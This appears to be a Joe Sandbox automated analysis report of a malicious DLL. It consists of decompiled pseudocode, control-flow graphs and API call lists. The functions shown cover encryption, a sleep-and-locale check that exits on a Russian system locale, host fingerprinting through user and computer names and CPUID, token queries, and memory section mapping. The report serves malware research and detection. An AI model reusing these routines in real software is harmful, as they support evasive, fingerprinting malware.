                  0x02c5158a
                  0x02c51690
                  0x02c51590
                  0x02c51590
                  0x02c51594
                  0x02c51595
                  0x02c51597
                  0x02c515a2
                  0x02c5167c
                  0x02c515a8
                  0x02c515a8
                  0x02c515ab
                  0x02c515b1
                  0x02c515b7
                  0x02c515b7
                  0x02c515bf
                  0x02c515c1
                  0x02c515c6
                  0x02c5166d
                  0x02c515cc
                  0x02c515d2
                  0x02c515d5
                  0x02c515d8
                  0x02c515da
                  0x02c515db
                  0x02c515e0
                  0x02c515e2
                  0x02c515e2
                  0x02c515ec
                  0x02c515f1
                  0x02c515f4
                  0x02c515f7
                  0x02c515f9
                  0x02c51602
                  0x02c5162c
                  0x02c51604
                  0x02c51615
                  0x02c51615
                  0x02c51634
                  0x00000000
                  0x00000000
                  0x02c51636
                  0x02c51639
                  0x02c5163c
                  0x02c51640
                  0x00000000
                  0x02c51642
                  0x02c51651
                  0x02c51657
                  0x02c5165f
                  0x02c5165f
                  0x00000000
                  0x02c51640
                  0x02c51644
                  0x02c5164a
                  0x02c5164f
                  0x02c51666
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5164f
                  0x02c515c6
                  0x02c5167f
                  0x02c51682
                  0x02c51682
                  0x02c51697
                  0x02c51697
                  0x02c516af

                  APIs
                  • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,02C55088,00000001,02C53ECE,00000000), ref: 02C51540
                  • memcpy.NTDLL(02C55088,02C53ECE,00000010,?,?,?,02C55088,00000001,02C53ECE,00000000,?,02C566D9,00000000,02C53ECE,?,7491C740), ref: 02C51559
                  • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 02C51582
                  • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 02C5159A
                  • memcpy.NTDLL(00000000,7491C740,03AD9600,00000010), ref: 02C515EC
                  • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,03AD9600,00000020,?,?,00000010), ref: 02C51615
                  • GetLastError.KERNEL32(?,?,00000010), ref: 02C51644
                  • GetLastError.KERNEL32 ref: 02C51676
                  • CryptDestroyKey.ADVAPI32(00000000), ref: 02C51682
                  • GetLastError.KERNEL32 ref: 02C5168A
                  • CryptReleaseContext.ADVAPI32(?,00000000), ref: 02C51697
                  • GetLastError.KERNEL32(?,?,?,02C55088,00000001,02C53ECE,00000000,?,02C566D9,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C5169F
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDestroyEncryptImportParamRelease
                  • String ID:
                  • API String ID: 3401600162-0
                  • Opcode ID: e41ec0f78f6ac6d2b0fe59921e74176dff20812b56dd55ba539523c683a9cea1
                  • Instruction ID: 5aa680748895ad9d30fefc4f796b72bb106d57e413d6223399fa7c474d24473b
                  • Opcode Fuzzy Hash: e41ec0f78f6ac6d2b0fe59921e74176dff20812b56dd55ba539523c683a9cea1
                  • Instruction Fuzzy Hash: 6F515CB1900229FFDB10DFA5CC88BAE7BB9EB48340F084965F919E6140D7B0CA94DB64
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1226 Relevance: 18.1, APIs: 12, Instructions: 139sleepnativesynchronizationCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 3072 2bf1226-2bf1236 call 2bf1f1e 3075 2bf123c-2bf123e 3072->3075 3076 2bf13a3-2bf13a4 3072->3076 3077 2bf123f-2bf1246 3075->3077 3078 2bf1247-2bf1251 call 2bf2046 3077->3078 3081 2bf1288 3078->3081 3082 2bf1253-2bf126e NtQuerySystemInformation 3078->3082 3083 2bf128f-2bf1293 3081->3083 3084 2bf1273-2bf1286 call 2bf1cd6 3082->3084 3085 2bf1270 3082->3085 3083->3078 3086 2bf1295-2bf12ae call 2bf1ac4 Sleep 3083->3086 3084->3083 3085->3084 3086->3077 3091 2bf12b0-2bf12b4 3086->3091 3092 2bf12ba-2bf12d2 GetLocaleInfoA 3091->3092 3093 2bf13a0-2bf13a2 3091->3093 3094 2bf12ec-2bf12f5 3092->3094 3095 2bf12d4-2bf12e7 GetSystemDefaultUILanguage VerLanguageNameA 3092->3095 3093->3076 3096 2bf12fb-2bf12fe 3094->3096 3097 2bf1392-2bf1398 3094->3097 3095->3094 3098 2bf134f-2bf1363 call 2bf1f97 3096->3098 3099 2bf1300-2bf130b call 2bf1516 3096->3099 3097->3093 3100 2bf139a GetLastError 3097->3100 3105 2bf1389-2bf138f GetLastError 3098->3105 3106 2bf1365-2bf1373 WaitForSingleObject 3098->3106 3107 2bf130d-2bf131f GetLongPathNameW 3099->3107 3108 2bf1349 3099->3108 3100->3093 3105->3097 3109 2bf1375-2bf137a GetExitCodeThread 3106->3109 3110 2bf1380-2bf1387 CloseHandle 3106->3110 3111 2bf1341-2bf1347 3107->3111 3112 2bf1321-2bf1332 call 2bf2046 3107->3112 3108->3098 3109->3110 3110->3097 3111->3098 3112->3111 3115 2bf1334-2bf133f GetLongPathNameW call 2bf1cd6 3112->3115 3115->3098
                  C-Code - Quality: 79%
                  			E02BF1226(char _a4) {
				long _v8;
				char _v12;
				char _v36;
				long _t29;
				long _t31;
				long _t32;
				signed short _t34;
				long _t39;
				intOrPtr _t47;
				signed int _t54;
				signed int _t55;
				long _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t69;
				signed int _t71;
				signed int _t72;
				void* _t76;
				intOrPtr* _t77;

				_t29 = E02BF1F1E();
				_v8 = _t29;
				if(_t29 != 0) {
					return _t29;
				} else {
					do {
						_t71 = 0;
						_v12 = 0;
						_t60 = 0x30;
						do {
							_t67 = E02BF2046(_t60);
							if(_t67 == 0) {
								_v8 = 8;
							} else {
								_t54 = NtQuerySystemInformation(8, _t67, _t60,  &_v12); // executed
								_t63 = _t54;
								_t55 = _t54 & 0x0000ffff;
								_v8 = _t55;
								if(_t55 == 4) {
									_t60 = _t60 + 0x30;
								}
								_t72 = 0x13;
								_t10 = _t63 + 1; // 0x1
								_t71 =  *_t67 % _t72 + _t10;
								E02BF1CD6(_t67);
							}
						} while (_v8 != 0);
						_t31 = E02BF1AC4(_t71); // executed
						_v8 = _t31;
						Sleep(_t71 << 4); // executed
						_t32 = _v8;
					} while (_t32 == 0x15);
					if(_t32 != 0) {
						L28:
						return _t32;
					}
					_v12 = 0;
					_t34 = GetLocaleInfoA(0x400, 0x5a,  &_v12, 4);
					if(_t34 == 0) {
						__imp__GetSystemDefaultUILanguage();
						_t63 =  &_v12;
						VerLanguageNameA(_t34 & 0xffff,  &_v12, 4);
					}
					if(_v12 == 0x5552) {
						L26:
						_t32 = _v8;
						if(_t32 == 0xffffffff) {
							_t32 = GetLastError();
						}
						goto L28;
					} else {
						if(_a4 != 0) {
							L21:
							_push(0);
							_t76 = E02BF1F97(E02BF20A4,  &_v36);
							if(_t76 == 0) {
								_v8 = GetLastError();
							} else {
								_t39 = WaitForSingleObject(_t76, 0xffffffff);
								_v8 = _t39;
								if(_t39 == 0) {
									GetExitCodeThread(_t76,  &_v8);
								}
								CloseHandle(_t76);
							}
							goto L26;
						}
						if(E02BF1516(_t63,  &_a4) != 0) {
							 *0x2bf41b8 = 0;
							goto L21;
						}
						_t62 = _a4;
						_t77 = __imp__GetLongPathNameW;
						_t69 =  *_t77(_t62, 0, 0);
						if(_t69 == 0) {
							L19:
							 *0x2bf41b8 = _t62;
							goto L21;
						}
						_t23 = _t69 + 2; // 0x2
						_t47 = E02BF2046(_t69 + _t23);
						 *0x2bf41b8 = _t47;
						if(_t47 == 0) {
							goto L19;
						}
						 *_t77(_t62, _t47, _t69);
						E02BF1CD6(_t62);
						goto L21;
					}
				}
			}






















                  0x02bf122c
                  0x02bf1231
                  0x02bf1236
                  0x02bf13a4
                  0x02bf123c
                  0x02bf123f
                  0x02bf123f
                  0x02bf1243
                  0x02bf1246
                  0x02bf1247
                  0x02bf124d
                  0x02bf1251
                  0x02bf1288
                  0x02bf1253
                  0x02bf125b
                  0x02bf1261
                  0x02bf1263
                  0x02bf1268
                  0x02bf126e
                  0x02bf1270
                  0x02bf1270
                  0x02bf1277
                  0x02bf127d
                  0x02bf127d
                  0x02bf1281
                  0x02bf1281
                  0x02bf128f
                  0x02bf1296
                  0x02bf129f
                  0x02bf12a2
                  0x02bf12a8
                  0x02bf12ab
                  0x02bf12b4
                  0x02bf13a0
                  0x00000000
                  0x02bf13a2
                  0x02bf12c7
                  0x02bf12ca
                  0x02bf12d2
                  0x02bf12d4
                  0x02bf12df
                  0x02bf12e7
                  0x02bf12e7
                  0x02bf12f5
                  0x02bf1392
                  0x02bf1392
                  0x02bf1398
                  0x02bf139a
                  0x02bf139a
                  0x00000000
                  0x02bf12fb
                  0x02bf12fe
                  0x02bf134f
                  0x02bf134f
                  0x02bf135f
                  0x02bf1363
                  0x02bf138f
                  0x02bf1365
                  0x02bf1368
                  0x02bf136e
                  0x02bf1373
                  0x02bf137a
                  0x02bf137a
                  0x02bf1381
                  0x02bf1381
                  0x00000000
                  0x02bf1363
                  0x02bf130b
                  0x02bf1349
                  0x00000000
                  0x02bf1349
                  0x02bf130d
                  0x02bf1312
                  0x02bf131b
                  0x02bf131f
                  0x02bf1341
                  0x02bf1341
                  0x00000000
                  0x02bf1341
                  0x02bf1321
                  0x02bf1326
                  0x02bf132b
                  0x02bf1332
                  0x00000000
                  0x00000000
                  0x02bf1337
                  0x02bf133a
                  0x00000000
                  0x02bf133a
                  0x02bf12f5

                  APIs
                    • Part of subcall function 02BF1F1E: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,02BF1231), ref: 02BF1F2D
                    • Part of subcall function 02BF1F1E: GetVersion.KERNEL32 ref: 02BF1F3C
                    • Part of subcall function 02BF1F1E: GetCurrentProcessId.KERNEL32 ref: 02BF1F58
                    • Part of subcall function 02BF1F1E: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02BF1F71
                    • Part of subcall function 02BF2046: RtlAllocateHeap.NTDLL(00000000,?,02BF124D,00000030,74CB63F0,00000000), ref: 02BF2052
                  • NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 02BF125B
                  • Sleep.KERNELBASE(00000000,00000000,00000030,74CB63F0,00000000), ref: 02BF12A2
                  • GetLocaleInfoA.KERNEL32(00000400,0000005A,?,00000004), ref: 02BF12CA
                  • GetSystemDefaultUILanguage.KERNEL32 ref: 02BF12D4
                  • VerLanguageNameA.KERNEL32(?,?,00000004), ref: 02BF12E7
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02BF1319
                  • GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 02BF1337
                  • WaitForSingleObject.KERNEL32(00000000,000000FF,02BF20A4,?,00000000), ref: 02BF1368
                  • GetExitCodeThread.KERNEL32(00000000,00000000), ref: 02BF137A
                  • CloseHandle.KERNEL32(00000000), ref: 02BF1381
                  • GetLastError.KERNEL32(02BF20A4,?,00000000), ref: 02BF1389
                  • GetLastError.KERNEL32 ref: 02BF139A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: Name$ErrorLanguageLastLongPathProcessSystem$AllocateCloseCodeCreateCurrentDefaultEventExitHandleHeapInfoInformationLocaleObjectOpenQuerySingleSleepThreadVersionWait
                  • String ID:
                  • API String ID: 1327471650-0
                  • Opcode ID: ee66f5f5ee85b2a04861de7b39fd44562477829ca1e47e08873d6edf7ef4b801
                  • Instruction ID: 3034bd4cba2148787bf1629fc4ce130d42db3e2bfdfe787e5e259eb28af5510e
                  • Opcode Fuzzy Hash: ee66f5f5ee85b2a04861de7b39fd44562477829ca1e47e08873d6edf7ef4b801
                  • Instruction Fuzzy Hash: 5241B271D10215FBDBA0ABB9C884BAE7ABDEF04790F104996E709E7540D730CA48CBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 3408 2bf1598-2bf15ef GetSystemTimeAsFileTime _aulldiv _snwprintf 3409 2bf15f6-2bf160f CreateFileMappingW 3408->3409 3410 2bf15f1 3408->3410 3411 2bf1659-2bf165f GetLastError 3409->3411 3412 2bf1611-2bf161a 3409->3412 3410->3409 3413 2bf1661-2bf1667 3411->3413 3414 2bf161c-2bf1623 GetLastError 3412->3414 3415 2bf162a-2bf1638 MapViewOfFile 3412->3415 3414->3415 3418 2bf1625-2bf1628 3414->3418 3416 2bf163a-2bf1646 3415->3416 3417 2bf1648-2bf164e GetLastError 3415->3417 3416->3413 3417->3413 3419 2bf1650-2bf1657 CloseHandle 3417->3419 3418->3419 3419->3413
                  C-Code - Quality: 69%
                  			E02BF1598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L02BF2250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x2bf41c4;
				_push(_t15 + 0x2bf5149);
				_push(_t15 + 0x2bf5048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L02BF224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x2bf41c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                  0x02bf1598
                  0x02bf15a1
                  0x02bf15a5
                  0x02bf15ab
                  0x02bf15b0
                  0x02bf15b5
                  0x02bf15b8
                  0x02bf15bb
                  0x02bf15c0
                  0x02bf15c1
                  0x02bf15c4
                  0x02bf15cf
                  0x02bf15d6
                  0x02bf15da
                  0x02bf15dc
                  0x02bf15dd
                  0x02bf15e0
                  0x02bf15e5
                  0x02bf15ef
                  0x02bf15f1
                  0x02bf15f1
                  0x02bf1605
                  0x02bf160b
                  0x02bf160f
                  0x02bf165f
                  0x02bf1611
                  0x02bf161a
                  0x02bf1630
                  0x02bf1638
                  0x02bf164a
                  0x02bf164e
                  0x00000000
                  0x00000000
                  0x02bf163a
                  0x02bf163d
                  0x02bf1642
                  0x02bf1644
                  0x02bf1644
                  0x02bf1625
                  0x02bf1627
                  0x02bf1650
                  0x02bf1651
                  0x02bf1651
                  0x02bf161a
                  0x02bf1667

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?), ref: 02BF15A5
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02BF15BB
                  • _snwprintf.NTDLL ref: 02BF15E0
                  • CreateFileMappingW.KERNELBASE(000000FF,02BF41C8,00000004,00000000,?,?), ref: 02BF1605
                  • GetLastError.KERNEL32 ref: 02BF161C
                  • MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 02BF1630
                  • GetLastError.KERNEL32 ref: 02BF1648
                  • CloseHandle.KERNEL32(00000000), ref: 02BF1651
                  • GetLastError.KERNEL32 ref: 02BF1659
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1724014008-0
                  • Opcode ID: 3027e674a2a51cdf3d660bf8ab0ee8c54e8eecb3f60fb25561b63e3823283ca5
                  • Instruction ID: 756da3e79ee2ead65c1c6d6037cc5412bbd0a2fbd8961b112db2400de270165a
                  • Opcode Fuzzy Hash: 3027e674a2a51cdf3d660bf8ab0ee8c54e8eecb3f60fb25561b63e3823283ca5
                  • Instruction Fuzzy Hash: 1A21B672D40144FFD7509FA8DC84F9E37ADEB48394F1544A5F709E7140D77099588B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C53BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 96%
                  			E02C53BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x2c5a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E02C571CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x2c5a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x2c5a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E02C556B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x2c5a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x2c5a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E02C556B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x2c5a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                  0x02c53bd3
                  0x02c53bdb
                  0x02c53bdf
                  0x02c53be2
                  0x02c53be7
                  0x02c53be9
                  0x02c53bee
                  0x02c53bee
                  0x02c53bf4
                  0x02c53bf6
                  0x02c53c03
                  0x02c53c64
                  0x02c53c05
                  0x02c53c0a
                  0x02c53c10
                  0x02c53c15
                  0x02c53c23
                  0x02c53c27
                  0x02c53c36
                  0x02c53c3d
                  0x02c53c44
                  0x02c53c44
                  0x02c53c4f
                  0x02c53c4f
                  0x02c53c27
                  0x02c53c15
                  0x02c53c66
                  0x02c53c6c
                  0x02c53c76
                  0x02c53c78
                  0x02c53c7d
                  0x02c53c8c
                  0x02c53c90
                  0x02c53c9b
                  0x02c53ca2
                  0x02c53ca9
                  0x02c53ca9
                  0x02c53cb5
                  0x02c53cb5
                  0x02c53c90
                  0x02c53cc0
                  0x02c53cc2
                  0x02c53cc5
                  0x02c53cc7
                  0x02c53cca
                  0x02c53ccd
                  0x02c53cd7
                  0x02c53cdb
                  0x02c53cdf

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 02C53C0A
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 02C53C21
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 02C53C2E
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C53C4F
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 02C53C76
                  • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02C53C8A
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 02C53C97
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C53CB5
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: HeapName$AllocateComputerFreeUser
                  • String ID:
                  • API String ID: 3239747167-0
                  • Opcode ID: d983172de7880a309e0667e3e92c85e349c912bb02755be90df41b8c40b9017a
                  • Instruction ID: 0ba7e81cfd004d55e9c87010963d7ad6884484942bdc45130f785966b65dd320
                  • Opcode Fuzzy Hash: d983172de7880a309e0667e3e92c85e349c912bb02755be90df41b8c40b9017a
                  • Instruction Fuzzy Hash: 1C313D71A00715EFD710DFA9CD81B6EB7F9EF88340F504A69E905E3210D730EA919B54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5421F Relevance: 10.6, APIs: 7, Instructions: 81nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 38%
                  			E02C5421F(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E02C533DC(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E02C561DA(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}



















                  0x02c5422c
                  0x02c5422d
                  0x02c5422e
                  0x02c5422f
                  0x02c54230
                  0x02c54234
                  0x02c5423b
                  0x02c5424a
                  0x02c5424d
                  0x02c54250
                  0x02c54257
                  0x02c5425a
                  0x02c5425d
                  0x02c54260
                  0x02c54263
                  0x02c5426e
                  0x02c54270
                  0x02c54279
                  0x02c54281
                  0x02c54283
                  0x02c54295
                  0x02c5429f
                  0x02c542a3
                  0x02c542b2
                  0x02c542b6
                  0x02c542bf
                  0x02c542c7
                  0x02c542c7
                  0x02c542c9
                  0x02c542c9
                  0x02c542d1
                  0x02c542d7
                  0x02c542db
                  0x02c542db
                  0x02c542e6

                  APIs
                  • NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 02C54266
                  • NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 02C54279
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02C54295
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 02C542B2
                  • memcpy.NTDLL(?,00000000,0000001C), ref: 02C542BF
                  • NtClose.NTDLL(?), ref: 02C542D1
                  • NtClose.NTDLL(00000000), ref: 02C542DB
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
                  • String ID:
                  • API String ID: 2575439697-0
                  • Opcode ID: 09be9619f56b45b5134d12b7593c483291693ec5954dc709c9bcd3a41ac9c472
                  • Instruction ID: b9bb5916c6c64b4b63cc8e2983d0cc9eec951ca164dfa3eb4a722c3c29131cef
                  • Opcode Fuzzy Hash: 09be9619f56b45b5134d12b7593c483291693ec5954dc709c9bcd3a41ac9c472
                  • Instruction Fuzzy Hash: DA2122B2A00228BBDB119FA5CC84ADEBFBDEF48750F104562F905B6110D771CA909BE4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF1E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 72%
                  			E02BF1E76(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E02BF205B(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}


















                  0x02bf1e7f
                  0x02bf1e86
                  0x02bf1e87
                  0x02bf1e88
                  0x02bf1e89
                  0x02bf1e8a
                  0x02bf1e9b
                  0x02bf1e9f
                  0x02bf1eb3
                  0x02bf1eb6
                  0x02bf1eb9
                  0x02bf1ec0
                  0x02bf1ec3
                  0x02bf1eca
                  0x02bf1ecd
                  0x02bf1ed0
                  0x02bf1ed3
                  0x02bf1ed8
                  0x02bf1f13
                  0x02bf1eda
                  0x02bf1edd
                  0x02bf1ee3
                  0x02bf1ee8
                  0x02bf1eec
                  0x02bf1f0a
                  0x02bf1eee
                  0x02bf1ef5
                  0x02bf1f03
                  0x02bf1f03
                  0x02bf1eec
                  0x02bf1f1b

                  APIs
                  • NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02BF1ED3
                    • Part of subcall function 02BF205B: NtMapViewOfSection.NTDLL(00000000,000000FF,02BF1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02BF1EE8,?), ref: 02BF2088
                  • memset.NTDLL ref: 02BF1EF5
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: Section$CreateViewmemset
                  • String ID: @
                  • API String ID: 2533685722-2766056989
